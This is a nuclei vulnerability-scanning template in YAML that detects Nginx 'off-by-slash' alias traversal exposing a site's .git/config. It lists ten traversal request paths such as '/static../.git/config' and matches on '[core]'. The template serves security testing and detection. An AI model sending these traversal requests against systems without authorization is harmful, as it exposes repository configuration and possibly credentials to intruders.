nuclei-templates/http/exposures/configs/git-config-nginxoffbyslash....

39 lines
1.3 KiB
YAML
Raw Normal View History

2020-07-02 13:53:41 +00:00
id: git-config-nginxoffbyslash
2020-07-02 13:53:41 +00:00
info:
name: Nginx - Git Configuration Exposure
2020-07-02 13:53:41 +00:00
author: organiccrap
severity: medium
description: Nginx is vulnerable to git configuration exposure.
reference:
- https://beaglesecurity.com/blog/vulnerability/nginx-off-by-slash-exposes-git-config.html
- https://twitter.com/Random_Robbie/status/1262676628167110656
- https://github.com/PortSwigger/nginx-alias-traversal/blob/master/off-by-slash.py
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cwe-id: CWE-200
metadata:
max-request: 10
2023-10-14 11:27:55 +00:00
tags: config,exposure,nginx
2020-09-20 12:57:43 +00:00
http:
2020-07-02 13:53:41 +00:00
- method: GET
path:
- '{{BaseURL}}/static../.git/config'
- '{{BaseURL}}/js../.git/config'
- '{{BaseURL}}/images../.git/config'
- '{{BaseURL}}/img../.git/config'
- '{{BaseURL}}/css../.git/config'
- '{{BaseURL}}/assets../.git/config'
- '{{BaseURL}}/content../.git/config'
- '{{BaseURL}}/events../.git/config'
- '{{BaseURL}}/media../.git/config'
- '{{BaseURL}}/lib../.git/config'
stop-at-first-match: true
2020-07-02 13:53:41 +00:00
matchers:
- type: word
words:
- '[core]'
# digest: 4b0a0048304602210096a8c90c79e878530480deffc9b409e5e8f1fb7286c41333ebb7b740764658630221009fb4fa228d2075712fdb2e91e7ba4a1e669c8b6faa3d513c44b11b77cd52a925:922c64590222798bb761d5b6d8e72950